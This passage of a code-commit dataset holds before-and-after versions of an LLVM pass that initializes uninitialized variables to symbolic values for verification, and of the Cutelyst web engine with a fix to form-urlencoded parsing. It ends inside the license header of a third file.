}\n}\n<|endoftext|>"}
{"text":"<commit_before>\/\/                     The LLVM Compiler Infrastructure\n\/\/\n\/\/ This file is distributed under the University of Illinois Open Source\n\/\/ License. See LICENSE.TXT for details.\n\n#include <cassert>\n#include <vector>\n#include <unordered_map>\n\n#include \"llvm\/IR\/DataLayout.h\"\n#include \"llvm\/IR\/BasicBlock.h\"\n#include \"llvm\/IR\/Constants.h\"\n#include \"llvm\/IR\/Function.h\"\n#include \"llvm\/IR\/GlobalVariable.h\"\n#include \"llvm\/IR\/Instructions.h\"\n#include \"llvm\/IR\/Module.h\"\n#include \"llvm\/Pass.h\"\n#include \"llvm\/IR\/Type.h\"\n#include \"llvm\/IR\/TypeBuilder.h\"\n#if (LLVM_VERSION_MINOR >= 5)\n  #include \"llvm\/IR\/InstIterator.h\"\n#else\n  #include \"llvm\/Support\/InstIterator.h\"\n#endif\n#include \"llvm\/Support\/raw_ostream.h\"\n#include \"llvm\/Transforms\/Utils\/BasicBlockUtils.h\"\n#include <llvm\/IR\/DebugInfoMetadata.h>\n\nusing namespace llvm;\n\n\/** Clone metadata from one instruction to another\n * @param i1 the first instruction\n * @param i2 the second instruction without any metadata\n*\/\nstatic void CloneMetadata(const llvm::Instruction *i1, llvm::Instruction *i2)\n{\n    if (!i1->hasMetadata())\n        return;\n\n    assert(!i2->hasMetadata());\n    llvm::SmallVector< std::pair< unsigned, llvm::MDNode * >, 2> mds;\n    i1->getAllMetadata(mds);\n\n    for (const auto& it : mds) {\n        i2->setMetadata(it.first, it.second->clone().release());\n    }\n}\n\nstatic void CallAddMetadata(CallInst *CI, Instruction *I)\n{\n  \/*\n  if (I->hasMetadata()) {\n    CloneMetadata(I, CI);\n  } else*\/ if (const DISubprogram *DS = I->getParent()->getParent()->getSubprogram()) {\n    \/\/ no metadata? then it is going to be the instrumentation\n    \/\/ of alloca or such at the beggining of function,\n    \/\/ so just add debug loc of the beginning of the function\n    CI->setDebugLoc(DebugLoc::get(DS->getLine(), 0, DS));\n  }\n}\n\nclass InitializeUninitialized : public FunctionPass {\n    Function *_vms = nullptr; \/\/ verifier_make_symbolic function\n    Type *_size_t_Ty = nullptr; \/\/ type of size_t\n\n    std::unordered_map<llvm::Type *, llvm::GlobalVariable *> added_globals;\n\n    \/\/ add global of given type and initialize it in may as nondeterministic\n    GlobalVariable *getGlobalNondet(llvm::Type *, llvm::Module *);\n    Function *get_verifier_make_symbolic(llvm::Module *);\n    Type *get_size_t(llvm::Module *);\n  public:\n    static char ID;\n\n    InitializeUninitialized() : FunctionPass(ID) {}\n    virtual bool runOnFunction(Function &F);\n};\n\n\nstatic RegisterPass<InitializeUninitialized> INIUNINI(\"initialize-uninitialized\",\n                                                      \"initialize all uninitialized variables to non-deterministic value\");\nchar InitializeUninitialized::ID;\n\nFunction *InitializeUninitialized::get_verifier_make_symbolic(llvm::Module *M)\n{\n  if (_vms)\n    return _vms;\n\n  LLVMContext& Ctx = M->getContext();\n  \/\/void verifier_make_symbolic(void *addr, size_t nbytes, const char *name);\n  Constant *C = M->getOrInsertFunction(\"__VERIFIER_make_symbolic\",\n                                       Type::getVoidTy(Ctx),\n                                       Type::getInt8PtrTy(Ctx), \/\/ addr\n                                       get_size_t(M),   \/\/ nbytes\n                                       Type::getInt8PtrTy(Ctx), \/\/ name\n                                       nullptr);\n  _vms = cast<Function>(C);\n  return _vms;\n}\n\nType *InitializeUninitialized::get_size_t(llvm::Module *M)\n{\n  if (_size_t_Ty)\n    return _size_t_Ty;\n\n  std::unique_ptr<DataLayout> DL\n    = std::unique_ptr<DataLayout>(new DataLayout(M->getDataLayout()));\n  LLVMContext& Ctx = M->getContext();\n\n  if (DL->getPointerSizeInBits() > 32)\n    _size_t_Ty = Type::getInt64Ty(Ctx);\n  else\n    _size_t_Ty = Type::getInt32Ty(Ctx);\n\n  return _size_t_Ty;\n}\n\n\/\/ add global of given type and initialize it in may as nondeterministic\nGlobalVariable *InitializeUninitialized::getGlobalNondet(llvm::Type *Ty, llvm::Module *M)\n{\n  auto it = added_globals.find(Ty);\n  if (it != added_globals.end())\n    return it->second;\n\n  LLVMContext& Ctx = M->getContext();\n  GlobalVariable *G = new GlobalVariable(*M, Ty, false \/* constant *\/,\n                                         GlobalValue::PrivateLinkage,\n                                         \/* initializer *\/\n                                         Constant::getNullValue(Ty),\n                                         \"nondet_gl\");\n\n  added_globals.emplace(Ty, G);\n\n  \/\/ insert initialization of the new global variable\n  \/\/ at the beginning of main\n  Function *vms = get_verifier_make_symbolic(M);\n  CastInst *CastI = CastInst::CreatePointerCast(G, Type::getInt8PtrTy(Ctx));\n\n  std::vector<Value *> args;\n  \/\/XXX: we should not build the new DL every time\n  std::unique_ptr<DataLayout> DL\n    = std::unique_ptr<DataLayout>(new DataLayout(M->getDataLayout()));\n\n  args.push_back(CastI);\n  args.push_back(ConstantInt::get(get_size_t(M), DL->getTypeAllocSize(Ty)));\n  Constant *name = ConstantDataArray::getString(Ctx, \"nondet\");\n  GlobalVariable *nameG = new GlobalVariable(*M, name->getType(), true \/*constant *\/,\n                                             GlobalVariable::PrivateLinkage, name);\n  args.push_back(ConstantExpr::getPointerCast(nameG, Type::getInt8PtrTy(Ctx)));\n  CallInst *CI = CallInst::Create(vms, args);\n\n  Function *main = M->getFunction(\"main\");\n  assert(main && \"Do not have main\");\n  BasicBlock& block = main->getBasicBlockList().front();\n  \/\/ there must be some instruction, otherwise we would not be calling\n  \/\/ this function\n  Instruction& I = *(block.begin());\n  CastI->insertBefore(&I);\n  CI->insertBefore(&I);\n\n  \/\/ add metadata due to the inliner pass\n  CallAddMetadata(CI, &I);\n  \/\/CloneMetadata(&I, CastI);\n\n  return G;\n}\n\n\/\/ no hard analysis, just check wether the alloca is initialized\n\/\/ in the same block. (we could do an O(n) analysis that would\n\/\/ do DFS and if the alloca would be initialized on every path\n\/\/ before reaching some backedge, then it must be initialized),\n\/\/ for all allocas the running time would be O(n^2) and it could\n\/\/ probably be decreased (without pointers)\nstatic bool mayBeUnititialized(const llvm::AllocaInst *AI)\n{\n\tType *AITy = AI->getAllocatedType();\n\tif(!AITy->isSized())\n\t\treturn true;\n\n    const BasicBlock *block = AI->getParent();\n    auto I = block->begin();\n    auto E = block->end();\n    \/\/ shift to AI\n    while (I != E && (&*I) != AI)\n        ++I;\n\n    if (I == E)\n        return true;\n\n    \/\/ iterate over instructions after AI in this block\n    for (++I \/* shift after AI *\/; I != E; ++I) {\n        if (const LoadInst *LI = dyn_cast<LoadInst>(&*I)) {\n            if (LI->getPointerOperand() == AI)\n                return true;\n        } else if (const StoreInst *SI = dyn_cast<StoreInst>(&*I)) {\n            \/\/ we store into AI and we store the same type\n            \/\/ (that is, we overwrite the whole memory?)\n            if (SI->getPointerOperand() == AI &&\n                SI->getValueOperand()->getType() == AITy)\n                return false;\n            else if (SI->getValueOperand() == AI)\n                \/\/ if we store this address to some pointer,\n                \/\/ we just bail out, since we do not perform\n                \/\/ any points-to analysis\n                return true;\n        }\n    }\n\n    return true;\n}\n\nbool InitializeUninitialized::runOnFunction(Function &F)\n{\n  \/\/ do not run the initializer on __VERIFIER and __INSTR functions\n  const auto& fname = F.getName();\n  if (fname.startswith(\"__VERIFIER_\") || fname.startswith(\"__INSTR_\"))\n    return false;\n\n  bool modified = false;\n  Module *M = F.getParent();\n  LLVMContext& Ctx = M->getContext();\n  DataLayout *DL = new DataLayout(M->getDataLayout());\n  Constant *name_init = ConstantDataArray::getString(Ctx, \"nondet\");\n  GlobalVariable *name = new GlobalVariable(*M, name_init->getType(), true,\n                                            GlobalValue::PrivateLinkage,\n                                            name_init);\n\n  Function *C = get_verifier_make_symbolic(M);\n\n  for (inst_iterator I = inst_begin(F), E = inst_end(F); I != E;) {\n    Instruction *ins = &*I;\n    ++I;\n\n    if (AllocaInst *AI = dyn_cast<AllocaInst>(ins)) {\n      if (!mayBeUnititialized(AI))\n        continue;\n\n      Type *Ty = AI->getAllocatedType();\n      AllocaInst *newAlloca = nullptr;\n      CallInst *CI = nullptr;\n      CastInst *CastI = nullptr;\n      StoreInst *SI = nullptr;\n      LoadInst *LI = nullptr;\n      BinaryOperator *MulI = nullptr;\n\n      std::vector<Value *> args;\n\n      \/\/ create new allocainst, declare it symbolic and store it\n      \/\/ to the original alloca. This way slicer will slice this\n      \/\/ initialization away if program initialize it manually later\n      if (Ty->isSized()) {\n        \/\/ if this is an array allocation, just call verifier_make_symbolic on it,\n        \/\/ since storing whole symbolic array into it would have soo huge overhead\n        if (Ty->isArrayTy()) {\n            CastI = CastInst::CreatePointerCast(AI, Type::getInt8PtrTy(Ctx));\n            args.push_back(CastI);\n            args.push_back(ConstantInt::get(get_size_t(M), DL->getTypeAllocSize(Ty)));\n            args.push_back(ConstantExpr::getPointerCast(name, Type::getInt8PtrTy(Ctx)));\n\n            CI = CallInst::Create(C, args);\n            CastI->insertAfter(AI);\n            CI->insertAfter(CastI);\n\n            \/\/ we must add these metadata due to the inliner pass, that\n            \/\/ corrupts the code when metada are missing\n            \/\/CloneMetadata(AI, CastI);\n\t        CallAddMetadata(CI, AI);\n        } else if (AI->isArrayAllocation()) {\n            CastI = CastInst::CreatePointerCast(AI, Type::getInt8PtrTy(Ctx));\n            MulI = BinaryOperator::CreateMul(AI->getArraySize(),\n                                             ConstantInt::get(get_size_t(M),\n                                                              DL->getTypeAllocSize(Ty)),\n                                             \"val_size\");\n            args.push_back(CastI);\n            args.push_back(MulI);\n            args.push_back(ConstantExpr::getPointerCast(name, Type::getInt8PtrTy(Ctx)));\n            CI = CallInst::Create(C, args);\n            CastI->insertAfter(AI);\n            MulI->insertAfter(CastI);\n            CI->insertAfter(MulI);\n\n            \/\/CloneMetadata(AI, CastI);\n            \/\/CloneMetadata(AI, MulI);\n\t        CallAddMetadata(CI, AI);\n        } else {\n            \/\/ when this is not an array allocation,\n            \/\/ store the symbolic value into the allocated memory using normal StoreInst.\n            \/\/ That will allow slice away more unneeded allocations\n            LI = new LoadInst(getGlobalNondet(Ty, M));\n            SI = new StoreInst(LI, AI);\n\n            LI->insertAfter(AI);\n            SI->insertAfter(LI);\n\n\t        \/\/CloneMetadata(AI, LI);\n            \/\/CloneMetadata(AI, LI);\n        }\n\n        modified = true;\n      }\n    }\n  }\n\n  delete DL;\n  return modified;\n}\n\n<commit_msg>init-uninit: make mayBeUninitialized better<commit_after>\/\/                     The LLVM Compiler Infrastructure\n\/\/\n\/\/ This file is distributed under the University of Illinois Open Source\n\/\/ License. See LICENSE.TXT for details.\n\n#include <cassert>\n#include <vector>\n#include <unordered_map>\n\n#include \"llvm\/IR\/DataLayout.h\"\n#include \"llvm\/IR\/BasicBlock.h\"\n#include \"llvm\/IR\/Constants.h\"\n#include \"llvm\/IR\/Function.h\"\n#include \"llvm\/IR\/GlobalVariable.h\"\n#include \"llvm\/IR\/Instructions.h\"\n#include \"llvm\/IR\/Module.h\"\n#include \"llvm\/Pass.h\"\n#include \"llvm\/IR\/Type.h\"\n#include \"llvm\/IR\/TypeBuilder.h\"\n#if (LLVM_VERSION_MINOR >= 5)\n  #include \"llvm\/IR\/InstIterator.h\"\n#else\n  #include \"llvm\/Support\/InstIterator.h\"\n#endif\n#include \"llvm\/Support\/raw_ostream.h\"\n#include \"llvm\/Transforms\/Utils\/BasicBlockUtils.h\"\n#include <llvm\/IR\/DebugInfoMetadata.h>\n\nusing namespace llvm;\n\n\/** Clone metadata from one instruction to another\n * @param i1 the first instruction\n * @param i2 the second instruction without any metadata\n*\/\nstatic void CloneMetadata(const llvm::Instruction *i1, llvm::Instruction *i2)\n{\n    if (!i1->hasMetadata())\n        return;\n\n    assert(!i2->hasMetadata());\n    llvm::SmallVector< std::pair< unsigned, llvm::MDNode * >, 2> mds;\n    i1->getAllMetadata(mds);\n\n    for (const auto& it : mds) {\n        i2->setMetadata(it.first, it.second->clone().release());\n    }\n}\n\nstatic void CallAddMetadata(CallInst *CI, Instruction *I)\n{\n  \/*\n  if (I->hasMetadata()) {\n    CloneMetadata(I, CI);\n  } else*\/ if (const DISubprogram *DS = I->getParent()->getParent()->getSubprogram()) {\n    \/\/ no metadata? then it is going to be the instrumentation\n    \/\/ of alloca or such at the beggining of function,\n    \/\/ so just add debug loc of the beginning of the function\n    CI->setDebugLoc(DebugLoc::get(DS->getLine(), 0, DS));\n  }\n}\n\nclass InitializeUninitialized : public FunctionPass {\n    Function *_vms = nullptr; \/\/ verifier_make_symbolic function\n    Type *_size_t_Ty = nullptr; \/\/ type of size_t\n\n    std::unordered_map<llvm::Type *, llvm::GlobalVariable *> added_globals;\n\n    \/\/ add global of given type and initialize it in may as nondeterministic\n    GlobalVariable *getGlobalNondet(llvm::Type *, llvm::Module *);\n    Function *get_verifier_make_symbolic(llvm::Module *);\n    Type *get_size_t(llvm::Module *);\n  public:\n    static char ID;\n\n    InitializeUninitialized() : FunctionPass(ID) {}\n    virtual bool runOnFunction(Function &F);\n};\n\n\nstatic RegisterPass<InitializeUninitialized> INIUNINI(\"initialize-uninitialized\",\n                                                      \"initialize all uninitialized variables to non-deterministic value\");\nchar InitializeUninitialized::ID;\n\nFunction *InitializeUninitialized::get_verifier_make_symbolic(llvm::Module *M)\n{\n  if (_vms)\n    return _vms;\n\n  LLVMContext& Ctx = M->getContext();\n  \/\/void verifier_make_symbolic(void *addr, size_t nbytes, const char *name);\n  Constant *C = M->getOrInsertFunction(\"__VERIFIER_make_symbolic\",\n                                       Type::getVoidTy(Ctx),\n                                       Type::getInt8PtrTy(Ctx), \/\/ addr\n                                       get_size_t(M),   \/\/ nbytes\n                                       Type::getInt8PtrTy(Ctx), \/\/ name\n                                       nullptr);\n  _vms = cast<Function>(C);\n  return _vms;\n}\n\nType *InitializeUninitialized::get_size_t(llvm::Module *M)\n{\n  if (_size_t_Ty)\n    return _size_t_Ty;\n\n  std::unique_ptr<DataLayout> DL\n    = std::unique_ptr<DataLayout>(new DataLayout(M->getDataLayout()));\n  LLVMContext& Ctx = M->getContext();\n\n  if (DL->getPointerSizeInBits() > 32)\n    _size_t_Ty = Type::getInt64Ty(Ctx);\n  else\n    _size_t_Ty = Type::getInt32Ty(Ctx);\n\n  return _size_t_Ty;\n}\n\n\/\/ add global of given type and initialize it in may as nondeterministic\nGlobalVariable *InitializeUninitialized::getGlobalNondet(llvm::Type *Ty, llvm::Module *M)\n{\n  auto it = added_globals.find(Ty);\n  if (it != added_globals.end())\n    return it->second;\n\n  LLVMContext& Ctx = M->getContext();\n  GlobalVariable *G = new GlobalVariable(*M, Ty, false \/* constant *\/,\n                                         GlobalValue::PrivateLinkage,\n                                         \/* initializer *\/\n                                         Constant::getNullValue(Ty),\n                                         \"nondet_gl\");\n\n  added_globals.emplace(Ty, G);\n\n  \/\/ insert initialization of the new global variable\n  \/\/ at the beginning of main\n  Function *vms = get_verifier_make_symbolic(M);\n  CastInst *CastI = CastInst::CreatePointerCast(G, Type::getInt8PtrTy(Ctx));\n\n  std::vector<Value *> args;\n  \/\/XXX: we should not build the new DL every time\n  std::unique_ptr<DataLayout> DL\n    = std::unique_ptr<DataLayout>(new DataLayout(M->getDataLayout()));\n\n  args.push_back(CastI);\n  args.push_back(ConstantInt::get(get_size_t(M), DL->getTypeAllocSize(Ty)));\n  Constant *name = ConstantDataArray::getString(Ctx, \"nondet\");\n  GlobalVariable *nameG = new GlobalVariable(*M, name->getType(), true \/*constant *\/,\n                                             GlobalVariable::PrivateLinkage, name);\n  args.push_back(ConstantExpr::getPointerCast(nameG, Type::getInt8PtrTy(Ctx)));\n  CallInst *CI = CallInst::Create(vms, args);\n\n  Function *main = M->getFunction(\"main\");\n  assert(main && \"Do not have main\");\n  BasicBlock& block = main->getBasicBlockList().front();\n  \/\/ there must be some instruction, otherwise we would not be calling\n  \/\/ this function\n  Instruction& I = *(block.begin());\n  CastI->insertBefore(&I);\n  CI->insertBefore(&I);\n\n  \/\/ add metadata due to the inliner pass\n  CallAddMetadata(CI, &I);\n  \/\/CloneMetadata(&I, CastI);\n\n  return G;\n}\n\n\/\/ no hard analysis, just check wether the alloca is initialized\n\/\/ in the same block. (we could do an O(n) analysis that would\n\/\/ do DFS and if the alloca would be initialized on every path\n\/\/ before reaching some backedge, then it must be initialized),\n\/\/ for all allocas the running time would be O(n^2) and it could\n\/\/ probably be decreased (without pointers)\nstatic bool mayBeUnititialized(const llvm::AllocaInst *AI)\n{\n\tType *AITy = AI->getAllocatedType();\n\tif(!AITy->isSized())\n\t\treturn true;\n\n    const BasicBlock *block = AI->getParent();\n    auto I = block->begin();\n    auto E = block->end();\n    \/\/ shift to AI\n    while (I != E && (&*I) != AI)\n        ++I;\n\n    if (I == E)\n        return true;\n\n    \/\/ iterate over instructions after AI in this block\n    for (++I \/* shift after AI *\/; I != E; ++I) {\n        if (const LoadInst *LI = dyn_cast<LoadInst>(&*I)) {\n            if (LI->getPointerOperand() == AI)\n                return true;\n        } else if (const StoreInst *SI = dyn_cast<StoreInst>(&*I)) {\n            \/\/ we store into AI and we store the same type\n            \/\/ (that is, we overwrite the whole memory?)\n            if (SI->getPointerOperand() == AI &&\n                SI->getValueOperand()->getType() == AITy)\n                return false;\n        }\n    }\n\n    return true;\n}\n\nbool InitializeUninitialized::runOnFunction(Function &F)\n{\n  \/\/ do not run the initializer on __VERIFIER and __INSTR functions\n  const auto& fname = F.getName();\n  if (fname.startswith(\"__VERIFIER_\") || fname.startswith(\"__INSTR_\"))\n    return false;\n\n  bool modified = false;\n  Module *M = F.getParent();\n  LLVMContext& Ctx = M->getContext();\n  DataLayout *DL = new DataLayout(M->getDataLayout());\n  Constant *name_init = ConstantDataArray::getString(Ctx, \"nondet\");\n  GlobalVariable *name = new GlobalVariable(*M, name_init->getType(), true,\n                                            GlobalValue::PrivateLinkage,\n                                            name_init);\n\n  Function *C = get_verifier_make_symbolic(M);\n\n  for (inst_iterator I = inst_begin(F), E = inst_end(F); I != E;) {\n    Instruction *ins = &*I;\n    ++I;\n\n    if (AllocaInst *AI = dyn_cast<AllocaInst>(ins)) {\n      if (!mayBeUnititialized(AI))\n        continue;\n\n      Type *Ty = AI->getAllocatedType();\n      AllocaInst *newAlloca = nullptr;\n      CallInst *CI = nullptr;\n      CastInst *CastI = nullptr;\n      StoreInst *SI = nullptr;\n      LoadInst *LI = nullptr;\n      BinaryOperator *MulI = nullptr;\n\n      std::vector<Value *> args;\n\n      \/\/ create new allocainst, declare it symbolic and store it\n      \/\/ to the original alloca. This way slicer will slice this\n      \/\/ initialization away if program initialize it manually later\n      if (Ty->isSized()) {\n        \/\/ if this is an array allocation, just call verifier_make_symbolic on it,\n        \/\/ since storing whole symbolic array into it would have soo huge overhead\n        if (Ty->isArrayTy()) {\n            CastI = CastInst::CreatePointerCast(AI, Type::getInt8PtrTy(Ctx));\n            args.push_back(CastI);\n            args.push_back(ConstantInt::get(get_size_t(M), DL->getTypeAllocSize(Ty)));\n            args.push_back(ConstantExpr::getPointerCast(name, Type::getInt8PtrTy(Ctx)));\n\n            CI = CallInst::Create(C, args);\n            CastI->insertAfter(AI);\n            CI->insertAfter(CastI);\n\n            \/\/ we must add these metadata due to the inliner pass, that\n            \/\/ corrupts the code when metada are missing\n            \/\/CloneMetadata(AI, CastI);\n\t        CallAddMetadata(CI, AI);\n        } else if (AI->isArrayAllocation()) {\n            CastI = CastInst::CreatePointerCast(AI, Type::getInt8PtrTy(Ctx));\n            MulI = BinaryOperator::CreateMul(AI->getArraySize(),\n                                             ConstantInt::get(get_size_t(M),\n                                                              DL->getTypeAllocSize(Ty)),\n                                             \"val_size\");\n            args.push_back(CastI);\n            args.push_back(MulI);\n            args.push_back(ConstantExpr::getPointerCast(name, Type::getInt8PtrTy(Ctx)));\n            CI = CallInst::Create(C, args);\n            CastI->insertAfter(AI);\n            MulI->insertAfter(CastI);\n            CI->insertAfter(MulI);\n\n            \/\/CloneMetadata(AI, CastI);\n            \/\/CloneMetadata(AI, MulI);\n\t        CallAddMetadata(CI, AI);\n        } else {\n            \/\/ when this is not an array allocation,\n            \/\/ store the symbolic value into the allocated memory using normal StoreInst.\n            \/\/ That will allow slice away more unneeded allocations\n            LI = new LoadInst(getGlobalNondet(Ty, M));\n            SI = new StoreInst(LI, AI);\n\n            LI->insertAfter(AI);\n            SI->insertAfter(LI);\n\n\t        \/\/CloneMetadata(AI, LI);\n            \/\/CloneMetadata(AI, LI);\n        }\n\n        modified = true;\n      }\n    }\n  }\n\n  delete DL;\n  return modified;\n}\n\n<|endoftext|>"}
{"text":"<commit_before>\/*\n * Copyright (C) 2013 Daniel Nicoletti <dantti12@gmail.com>\n *\n * This library is free software; you can redistribute it and\/or\n * modify it under the terms of the GNU Library General Public\n * License as published by the Free Software Foundation; either\n * version 2 of the License, or (at your option) any later version.\n *\n * This library is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n *  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\n * Library General Public License for more details.\n *\n * You should have received a copy of the GNU Library General Public License\n * along with this library; see the file COPYING.LIB. If not, write to\n * the Free Software Foundation, Inc., 51 Franklin Street, Fifth Floor,\n * Boston, MA 02110-1301, USA.\n *\/\n\n#include \"engine_p.h\"\n\n#include \"request_p.h\"\n#include \"response.h\"\n#include \"context_p.h\"\n\n#include <QUrl>\n\nusing namespace Cutelyst;\n\nEngine::Engine(QObject *parent) :\n    QObject(parent),\n    d_ptr(new EnginePrivate(this))\n{\n    Q_D(Engine);\n}\n\nEngine::~Engine()\n{\n    Q_D(Engine);\n\n    delete d_ptr;\n}\n\nvoid Engine::createRequest(int connectionId, const QUrl &url, const QByteArray &method, const QString &protocol, const QHash<QString, QByteArray> &headers, const QByteArray &body)\n{\n    \/\/ Parse the query (GET) parameters ie \"?foo=bar&bar=baz\"\n    QMultiHash<QString, QString> queryParam;\n    foreach (const QString &parameter, url.query(QUrl::FullyEncoded).split(QLatin1Char('&'))) {\n        if (parameter.isEmpty()) {\n            continue;\n        }\n\n        QStringList parts = parameter.split(QLatin1Char('='));\n        if (parts.size() == 2) {\n            queryParam.insertMulti(QUrl::fromPercentEncoding(parts.at(0).toUtf8()),\n                                   QUrl::fromPercentEncoding(parts.at(1).toUtf8()));\n        } else {\n            queryParam.insertMulti(QUrl::fromPercentEncoding(parts.first().toUtf8()),\n                                   QString());\n        }\n    }\n\n    QMultiHash<QString, QString> bodyParam;\n    if (headers.value(QLatin1String(\"Content-Type\")) == \"application\/x-www-form-urlencoded\") {\n        \/\/ Parse the query (BODY) \"application\/x-www-form-urlencoded\"\n        \/\/ parameters ie \"?foo=bar&bar=baz\"\n        foreach (const QByteArray &parameter, body.split('&')) {\n            if (parameter.isEmpty()) {\n                continue;\n            }\n\n            QList<QByteArray> parts = parameter.split('=');\n            if (parts.size() == 2) {\n                bodyParam.insertMulti(QUrl::fromPercentEncoding(parts.at(0)),\n                                      QUrl::fromPercentEncoding(parts.at(1)));\n            } else {\n                bodyParam.insertMulti(QUrl::fromPercentEncoding(parts.first()),\n                                      QString());\n            }\n        }\n    }\n\n    QByteArray cookies = headers.value(QLatin1String(\"Cookie\"));\n\n    RequestPrivate *requestPriv = new RequestPrivate;\n    requestPriv->engine = this;\n    requestPriv->connectionId = connectionId;\n    requestPriv->method = method;\n    requestPriv->url = url;\n    requestPriv->protocol = protocol;\n    requestPriv->queryParam = queryParam;\n    requestPriv->bodyParam = bodyParam;\n    requestPriv->param = queryParam + bodyParam;\n    requestPriv->headers = headers;\n    requestPriv->cookies = QNetworkCookie::parseCookies(cookies.replace(';', '\\n'));\n    requestPriv->body = body;\n\n    handleRequest(new Request(requestPriv), new Response);\n}\n\nEnginePrivate::EnginePrivate(Engine *parent) :\n    q_ptr(parent)\n{\n}\n\nEnginePrivate::~EnginePrivate()\n{\n}\n\nvoid Engine::finalizeCookies(Context *ctx)\n{\n    foreach (const QNetworkCookie &cookie, ctx->response()->cookies()) {\n        ctx->response()->addHeaderValue(QLatin1String(\"Set-Cookie\"), cookie.toRawForm());\n    }\n}\n\nvoid Engine::finalizeError(Context *ctx)\n{\n    ctx->res()->setContentType(\"text\/html; charset=utf-8\");\n\n    QByteArray body;\n\n    \/\/ Trick IE. Old versions of IE would display their own error page instead\n    \/\/ of ours if we'd give it less than 512 bytes.\n    body.reserve(512);\n\n    body.append(ctx->errors().join(QLatin1Char('\\n')));\n\n    ctx->res()->body() = body;\n\n    \/\/ Return 500\n    ctx->res()->setStatus(Response::InternalServerError);\n}\n<commit_msg>Fix parsing of form-urlencoded<commit_after>\/*\n * Copyright (C) 2013 Daniel Nicoletti <dantti12@gmail.com>\n *\n * This library is free software; you can redistribute it and\/or\n * modify it under the terms of the GNU Library General Public\n * License as published by the Free Software Foundation; either\n * version 2 of the License, or (at your option) any later version.\n *\n * This library is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n *  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\n * Library General Public License for more details.\n *\n * You should have received a copy of the GNU Library General Public License\n * along with this library; see the file COPYING.LIB. If not, write to\n * the Free Software Foundation, Inc., 51 Franklin Street, Fifth Floor,\n * Boston, MA 02110-1301, USA.\n *\/\n\n#include \"engine_p.h\"\n\n#include \"request_p.h\"\n#include \"response.h\"\n#include \"context_p.h\"\n\n#include <QUrl>\n#include <QDebug>\n\nusing namespace Cutelyst;\n\nEngine::Engine(QObject *parent) :\n    QObject(parent),\n    d_ptr(new EnginePrivate(this))\n{\n    Q_D(Engine);\n}\n\nEngine::~Engine()\n{\n    Q_D(Engine);\n\n    delete d_ptr;\n}\n\nvoid Engine::createRequest(int connectionId, const QUrl &url, const QByteArray &method, const QString &protocol, const QHash<QString, QByteArray> &headers, const QByteArray &body)\n{\n    \/\/ Parse the query (GET) parameters ie \"?foo=bar&bar=baz\"\n    QMultiHash<QString, QString> queryParam;\n    foreach (const QString &parameter, url.query(QUrl::FullyEncoded).split(QLatin1Char('&'))) {\n        if (parameter.isEmpty()) {\n            continue;\n        }\n\n        QStringList parts = parameter.split(QLatin1Char('='));\n        if (parts.size() == 2) {\n            queryParam.insertMulti(QUrl::fromPercentEncoding(parts.at(0).toUtf8()),\n                                   QUrl::fromPercentEncoding(parts.at(1).toUtf8()));\n        } else {\n            queryParam.insertMulti(QUrl::fromPercentEncoding(parts.first().toUtf8()),\n                                   QString());\n        }\n    }\n\n    QMultiHash<QString, QString> bodyParam;\n    if (headers.value(QLatin1String(\"Content-Type\")) == \"application\/x-www-form-urlencoded\") {\n        \/\/ Parse the query (BODY) \"application\/x-www-form-urlencoded\"\n        \/\/ parameters ie \"?foo=bar&bar=baz\"\n        foreach (const QByteArray &parameter, body.split('&')) {\n            if (parameter.isEmpty()) {\n                continue;\n            }\n\n            QList<QByteArray> parts = parameter.split('=');\n            if (parts.size() == 2) {\n                QByteArray value = parts.at(1);\n                value.replace('+', ' ');\n                bodyParam.insertMulti(QUrl::fromPercentEncoding(parts.at(0)),\n                                      QUrl::fromPercentEncoding(value));\n            } else {\n                bodyParam.insertMulti(QUrl::fromPercentEncoding(parts.first()),\n                                      QString());\n            }\n        }\n    }\n\n    QByteArray cookies = headers.value(QLatin1String(\"Cookie\"));\n\n    RequestPrivate *requestPriv = new RequestPrivate;\n    requestPriv->engine = this;\n    requestPriv->connectionId = connectionId;\n    requestPriv->method = method;\n    requestPriv->url = url;\n    requestPriv->protocol = protocol;\n    requestPriv->queryParam = queryParam;\n    requestPriv->bodyParam = bodyParam;\n    requestPriv->param = queryParam + bodyParam;\n    requestPriv->headers = headers;\n    requestPriv->cookies = QNetworkCookie::parseCookies(cookies.replace(';', '\\n'));\n    requestPriv->body = body;\n\n    handleRequest(new Request(requestPriv), new Response);\n}\n\nEnginePrivate::EnginePrivate(Engine *parent) :\n    q_ptr(parent)\n{\n}\n\nEnginePrivate::~EnginePrivate()\n{\n}\n\nvoid Engine::finalizeCookies(Context *ctx)\n{\n    foreach (const QNetworkCookie &cookie, ctx->response()->cookies()) {\n        ctx->response()->addHeaderValue(QLatin1String(\"Set-Cookie\"), cookie.toRawForm());\n    }\n}\n\nvoid Engine::finalizeError(Context *ctx)\n{\n    ctx->res()->setContentType(\"text\/html; charset=utf-8\");\n\n    QByteArray body;\n\n    \/\/ Trick IE. Old versions of IE would display their own error page instead\n    \/\/ of ours if we'd give it less than 512 bytes.\n    body.reserve(512);\n\n    body.append(ctx->errors().join(QLatin1Char('\\n')));\n\n    ctx->res()->body() = body;\n\n    \/\/ Return 500\n    ctx->res()->setStatus(Response::InternalServerError);\n}\n<|endoftext|>"}
{"text":"<commit_before>\/*\n * Copyright (c) 2003-2006 The Regents of The University of Michigan\n * All rights reserved.\n *\n * Redistribution and use in source and binary forms, with or without\n * modification, are permitted provided that the following conditions are\n * met: redistributions of source code must retain the above copyright\n * notice, this list of conditions and the following disclaimer;\n * redistributions in binary form must reproduce the above copyright\n * notice, this list of conditions and the following disclaimer in the\n * documentation and\/or other materials provided with the distribution;\n * neither the name of the copyright holders nor the names of its\n * contributors may be used to endorse or promote products derived from\n * this software without specific prior written permission.\n *\n * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS\n * \"AS IS\" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT\n * LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR\n * A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT\n * OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,\n * SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT\n * LIMITED TO, 